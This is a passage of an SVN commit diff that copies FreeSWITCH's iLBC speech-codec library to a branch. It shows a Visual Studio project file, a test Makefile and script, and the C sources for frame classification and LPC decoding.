+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\anaFilter.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\constants.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\createCB.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\doCPLC.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\enhancer.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\filter.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\FrameClassify.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\gainquant.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\getCBvec.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\helpfun.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpInput.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpOutput.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBConstruct.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBSearch.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iLBC_decode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iLBC_encode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCdecode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCencode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\lsf.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\packing.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateConstructW.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateSearchW.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\syntFilter.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\src\anaFilter.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\constants.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\createCB.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\doCPLC.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\enhancer.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\filter.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\FrameClassify.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\gainquant.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\getCBvec.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\helpfun.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpInput.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpOutput.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBConstruct.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBSearch.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\ilbc\ilbc.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iLBC_define.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCdecode.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCencode.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\lsf.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\packing.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateConstructW.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateSearchW.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\syntFilter.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\ilbc\version.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/ilbc/libilbc.vcproj

Copied: freeswitch/branches/seven/libs/ilbc/libilbc.vcproj (from rev 14471, freeswitch/trunk/libs/ilbc/libilbc.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/libilbc.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/libilbc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,357 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libilbc"
+	ProjectGUID="{7C43DBD8-6893-4CD2-B7C0-D2E51F8B1FD3}"
+	RootNamespace="libilbc"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBilbc_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="4"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBilbc_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\anaFilter.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\constants.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\createCB.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\doCPLC.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\enhancer.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\filter.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\FrameClassify.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\gainquant.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\getCBvec.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\helpfun.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpInput.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpOutput.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBConstruct.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBSearch.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iLBC_decode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iLBC_encode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCdecode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCencode.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\lsf.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\packing.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateConstructW.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateSearchW.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\syntFilter.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\src\anaFilter.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\constants.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\createCB.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\doCPLC.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\enhancer.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\filter.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\FrameClassify.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\gainquant.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\getCBvec.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\helpfun.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpInput.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\hpOutput.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBConstruct.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iCBSearch.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\ilbc\ilbc.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\iLBC_define.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCdecode.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\LPCencode.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\lsf.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\packing.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateConstructW.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\StateSearchW.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\syntFilter.h"
+				>
+			</File>
+			<File
+				RelativePath=".\src\ilbc\version.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/ilbc/localtests (from rev 14471, freeswitch/trunk/libs/ilbc/localtests)

Property changes: freeswitch/branches/seven/libs/ilbc/localtests


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/Makefile.am

Copied: freeswitch/branches/seven/libs/ilbc/localtests/Makefile.am (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/localtests/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/localtests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+##
+## VoIPcodecs - a series of DSP components for telephony
+##
+## Makefile.am -- Process this file with automake to produce Makefile.in
+##
+## This program is free software; you can redistribute it and/or modify
+## it under the terms of the GNU General Public License version 2, as
+## published by the Free Software Foundation.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program; if not, write to the Free Software
+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+##
+## $Id: Makefile.am,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+
+SUBDIRS =
+
+DIST_SUBDIRS =
+
+EXTRA_DIST = clean.chn \
+             iLBC.INP \
+             iLBC_20ms.BIT \
+             iLBC_20ms_clean.OUT \
+             iLBC_20ms_tlm05.OUT \
+             iLBC_30ms.BIT \
+             iLBC_30ms_clean.OUT \
+             iLBC_30ms_tlm05.OUT \
+             iLBC_test.txt \
+             short_nb_voice.wav \
+             tlm05.chn
+
+all: 
+
+clean:

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/clean.chn

Copied: freeswitch/branches/seven/libs/ilbc/localtests/clean.chn (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/clean.chn)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC.INP

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC.INP (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC.INP)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_20ms.BIT

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_20ms.BIT (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_20ms.BIT)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_20ms_clean.OUT

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_20ms_clean.OUT (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_20ms_clean.OUT)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_20ms_tlm05.OUT

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_20ms_tlm05.OUT (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_20ms_tlm05.OUT)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_30ms.BIT

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_30ms.BIT (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_30ms.BIT)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_30ms_clean.OUT

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_30ms_clean.OUT (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_30ms_clean.OUT)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_30ms_tlm05.OUT

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_30ms_tlm05.OUT (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_30ms_tlm05.OUT)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_test.txt

Copied: freeswitch/branches/seven/libs/ilbc/localtests/iLBC_test.txt (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/iLBC_test.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/localtests/iLBC_test.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/localtests/iLBC_test.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+
+#Test iLBC executable for 20 and 30 ms frames on a clean channel
+
+./iLBC_test 20 iLBC.INP iLBC_20ms.BIT iLBC_20ms_clean.OUT clean.chn
+./iLBC_test 30 iLBC.INP iLBC_30ms.BIT iLBC_30ms_clean.OUT clean.chn
+
+#Test iLBC executable for 20 and 30 ms frames on a channel with ~5% packet losses
+
+./iLBC_test 20 iLBC.INP tmp.BIT iLBC_20ms_tlm05.OUT tlm05.chn
+./iLBC_test 30 iLBC.INP tmp.BIT iLBC_30ms_tlm05.OUT tlm05.chn
+

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/short_nb_voice.wav

Copied: freeswitch/branches/seven/libs/ilbc/localtests/short_nb_voice.wav (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/short_nb_voice.wav)


(Binary files differ)

Deleted: freeswitch/branches/seven/libs/ilbc/localtests/tlm05.chn

Copied: freeswitch/branches/seven/libs/ilbc/localtests/tlm05.chn (from rev 14471, freeswitch/trunk/libs/ilbc/localtests/tlm05.chn)


(Binary files differ)

Copied: freeswitch/branches/seven/libs/ilbc/src (from rev 14471, freeswitch/trunk/libs/ilbc/src)

Property changes: freeswitch/branches/seven/libs/ilbc/src


Name: svn:ignore
   + Makefile.in
config.h
ilbc.h
.deps
Makefile
stamp-h1
.libs

Deleted: freeswitch/branches/seven/libs/ilbc/src/FrameClassify.c

Copied: freeswitch/branches/seven/libs/ilbc/src/FrameClassify.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/FrameClassify.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/FrameClassify.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/FrameClassify.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,131 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * FrameClassify.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: FrameClassify.c,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "FrameClassify.h"
+
+/*---------------------------------------------------------------*
+ *  Classification of subframes to localize start state
+ *--------------------------------------------------------------*/
+
+int FrameClassify(                                      /* index to the max-energy sub-frame */
+                  ilbc_encode_state_t *iLBCenc_inst,    /* (i/o) the encoder state structure */
+                  float *residual)                      /* (i) lpc residual signal */
+{
+    float max_ssqEn;
+    float fssqEn[ILBC_NUM_SUB_MAX];
+    float bssqEn[ILBC_NUM_SUB_MAX];
+    float *pp;
+    int n;
+    int l;
+    int max_ssqEn_n;
+    static const float ssqEn_win[ILBC_NUM_SUB_MAX - 1] =
+    {
+        0.8f, 0.9f,
+        1.0f, 0.9f, 0.8f
+    };
+    static const float sampEn_win[5]=
+    {
+        1.0f/6.0f,
+        2.0f/6.0f, 3.0f/6.0f,
+        4.0f/6.0f, 5.0f/6.0f
+    };
+
+    /* init the front and back energies to zero */
+    memset(fssqEn, 0, ILBC_NUM_SUB_MAX*sizeof(float));
+    memset(bssqEn, 0, ILBC_NUM_SUB_MAX*sizeof(float));
+
+    /* Calculate front of first sequence */
+    n = 0;
+    pp = residual;
+    for (l = 0;  l < 5;  l++)
+    {
+        fssqEn[n] += sampEn_win[l]*(*pp)*(*pp);
+        pp++;
+    }
+    for (l = 5;  l < SUBL;  l++)
+    {
+        fssqEn[n] += (*pp)*(*pp);
+        pp++;
+    }
+
+    /* Calculate front and back of all middle sequences */
+    for (n = 1;  n < iLBCenc_inst->nsub - 1;  n++)
+    {
+        pp = residual + n*SUBL;
+        for (l = 0;  l < 5;  l++)
+        {
+            fssqEn[n] += sampEn_win[l]*(*pp)*(*pp);
+            bssqEn[n] += (*pp)*(*pp);
+            pp++;
+        }
+        for (l = 5;  l < SUBL - 5;  l++)
+        {
+            fssqEn[n] += (*pp)*(*pp);
+            bssqEn[n] += (*pp)*(*pp);
+            pp++;
+        }
+        for (l = SUBL - 5; l < SUBL;  l++)
+        {
+            fssqEn[n] += (*pp)*(*pp);
+            bssqEn[n] += sampEn_win[SUBL - l - 1]*(*pp)*(*pp);
+            pp++;
+        }
+    }
+
+    /* Calculate back of last sequence */
+    n = iLBCenc_inst->nsub - 1;
+    pp = residual + n*SUBL;
+    for (l = 0;  l < SUBL - 5;  l++)
+    {
+        bssqEn[n] += (*pp)*(*pp);
+        pp++;
+    }
+    for (l = SUBL - 5;  l < SUBL;  l++)
+    {
+        bssqEn[n] += sampEn_win[SUBL - l - 1]*(*pp)*(*pp);
+        pp++;
+    }
+
+    /* find the index to the weighted 80 sample with
+       most energy */
+    l = (iLBCenc_inst->mode == 20)  ?  1  :  0;
+    max_ssqEn = (fssqEn[0] + bssqEn[1])*ssqEn_win[l];
+    max_ssqEn_n = 1;
+    for (n = 2;  n < iLBCenc_inst->nsub;  n++)
+    {
+        l++;
+        if ((fssqEn[n - 1] + bssqEn[n])*ssqEn_win[l] > max_ssqEn)
+        {
+            max_ssqEn = (fssqEn[n - 1] + bssqEn[n])*ssqEn_win[l];
+            max_ssqEn_n = n;
+        }
+    }
+
+    return max_ssqEn_n;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/FrameClassify.h

Copied: freeswitch/branches/seven/libs/ilbc/src/FrameClassify.h (from rev 14471, freeswitch/trunk/libs/ilbc/src/FrameClassify.h) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/FrameClassify.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/FrameClassify.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * FrameClassify.h - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: FrameClassify.h,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+#ifndef __iLBC_FRAMECLASSIFY_H
+#define __iLBC_FRAMECLASSIFY_H
+
+int FrameClassify(                                      /* index to the max-energy sub-frame */
+                  ilbc_encode_state_t *iLBCenc_inst,    /* (i/o) the encoder state structure */
+                  float *residual);                     /* (i) lpc residual signal */
+
+#endif

Deleted: freeswitch/branches/seven/libs/ilbc/src/LPCdecode.c

Copied: freeswitch/branches/seven/libs/ilbc/src/LPCdecode.c (from rev 14471, freeswitch/trunk/libs/ilbc/src/LPCdecode.c) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/src/LPCdecode.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/src/LPCdecode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+/*
+ * iLBC - a library for the iLBC codec
+ *
+ * LPCdecode.c - The iLBC low bit rate speech codec.
+ *
+ * Adapted by Steve Underwood <steveu@coppice.org> from the reference
+ * iLBC code supplied in RFC3951.
+ *
+ * Original code Copyright (C) The Internet Society (2004).
+ * All changes to produce this version Copyright (C) 2008 by Steve Underwood
+ * All Rights Reserved.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * $Id: LPCdecode.c,v 1.2 2008/03/06 12:27:37 steveu Exp $
+ */
+
+/*! \file */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <inttypes.h>
+#include <math.h>
+#include <string.h>
+
+#include "ilbc.h"
+#include "helpfun.h"
+#include "lsf.h"
+#include "constants.h"
+#include "LPCdecode.h"
+
+/*---------------------------------------------------------------*
+ *  interpolation of lsf coefficients for the decoder
+ *--------------------------------------------------------------*/
+
+void LSFinterpolate2a_dec(float *a,         /* (o) lpc coefficients for a sub-frame */
+                          float *lsf1,      /* (i) first lsf coefficient vector */
+                          float *lsf2,      /* (i) second lsf coefficient vector */
+                          float coef,       /* (i) interpolation weight */
+                          int length)       /* (i) length of lsf vectors */
+{
+    float  lsftmp[ILBC_LPC_FILTERORDER];
+
+    interpolate(lsftmp, lsf1, lsf2, coef, length);
+    lsf2a(a, lsftmp);
+}
+
+/*---------------------------------------------------------------*
+ *  obtain dequantized lsf coefficients from quantization index
+ *--------------------------------------------------------------*/
+
+void SimplelsfDEQ(float *lsfdeq,        /* (o) dequantized lsf coefficients */
+                  int *index,           /* (i) quantization index */
+                  int lpc_n)            /* (i) number of LPCs */
+{
+    int i;
+    int j;
+    int pos;
+    int cb_pos;
+
+    /* decode first LSF */
+    pos = 0;
+    cb_pos = 0;
+    for (i = 0;  i < LSF_NSPLIT;  i++)
+    {
+        for (j = 0;  j < dim_lsfCbTbl[i];  j++)
+            lsfdeq[pos + j] = lsfCbTbl[cb_pos + (int32_t) (index[i])*dim_lsfCbTbl[i] + j];
+        pos += dim_lsfCbTbl[i];
+        cb_pos += size_lsfCbTbl[i]*dim_lsfCbTbl[i];
+    }
+
+    if (lpc_n>1)
+    {
+        /* decode last LSF */
+        pos = 0;
+        cb_pos = 0;
+        for (i = 0;  i < LSF_NSPLIT;  i++)
+        {
+            for (j = 0;  j < dim_lsfCbTbl[i];  j++)
+            {
+                lsfdeq[ILBC_LPC_FILTERORDER + pos + j] =
+                    lsfCbTbl[cb_pos + (int32_t) (index[LSF_NSPLIT + i])*dim_lsfCbTbl[i] + j];
+            }
+            pos += dim_lsfCbTbl[i];
+            cb_pos += size_lsfCbTbl[i]*dim_lsfCbTbl[i];
+        }
+    }
+}
+
+/*----------------------------------------------------------------*
+ *  obtain synthesis and weighting filters form lsf coefficients
+ *---------------------------------------------------------------*/
+
+void DecoderInterpolateLSF(float *syntdenum,                    /* (o) synthesis filter coefficients */
+                           float *weightdenum,                  /* (o) weighting denumerator coefficients */
+                           float *lsfdeq,                       /* (i) dequantized lsf coefficients */
+                           int length,                          /* (i) length of lsf coefficient vector */
+                           ilbc_decode_state_t *iLBCdec_inst)   /* (i) the decoder state structure */
+{
+    int i;
+    int pos;
+    int lp_length;
+    float lp[ILBC_LPC_FILTERORDER + 1];
+    float *lsfdeq2;
+
+    lsfdeq2 = lsfdeq + length;
+    lp_length = length + 1;
+
+    if (iLBCdec_inst->mode == 30)
+    {
+        /* sub-frame 1: Interpolation between old and first */
+
+        LSFinterpolate2a_dec(lp, iLBCdec_inst->lsfdeqold, lsfdeq,
+                             lsf_weightTbl_30ms[0], length);
+        memcpy(syntdenum,lp,lp_length*sizeof(float));
+        bwexpand(weightdenum, lp, LPC_CHIRP_WEIGHTDENUM, lp_length);
+
+        /* sub-frames 2 to 6: interpolation between first and last LSF */
+        pos = lp_length;
+        for (i = 1;  i < 6;  i++)
+        {
+            LSFinterpolate2a_dec(lp, lsfdeq, lsfdeq2, lsf_weightTbl_30ms[i], length);
+            memcpy(syntdenum + pos,lp,lp_length*sizeof(float));
+            bwexpand(weightdenum + pos, lp, LPC_CHIRP_WEIGHTDENUM, lp_length);
+            pos += lp_length;
+        }
+    }
+    else
+    {
+        pos = 0;
+        for (i = 0;  i < iLBCdec_inst->nsub;  i++)
+        {
+            LSFinterpolate2a_dec(lp, iLBCdec_inst->lsfdeqold, lsfdeq, lsf_weightTbl_20ms[i], length);
+            memcpy(syntdenum + pos, lp, lp_length*sizeof(float));
+            bwexpand(weightdenum + pos, lp, LPC_CHIRP_WEIGHTDENUM, lp_length);
+            pos += lp_length;
+        }
+    }
+
+    /* update memory */
+    if (iLBCdec_inst->mode == 30)
+        memcpy(iLBCdec_inst->lsfdeqold, lsfdeq2, length*sizeof(float));
+    else
+        memcpy(iLBCdec_inst->lsfdeqold, lsfdeq, length*sizeof(float));
+}

Deleted: freeswitch/branches/seven/libs/ilbc/src/LPCdecode.h

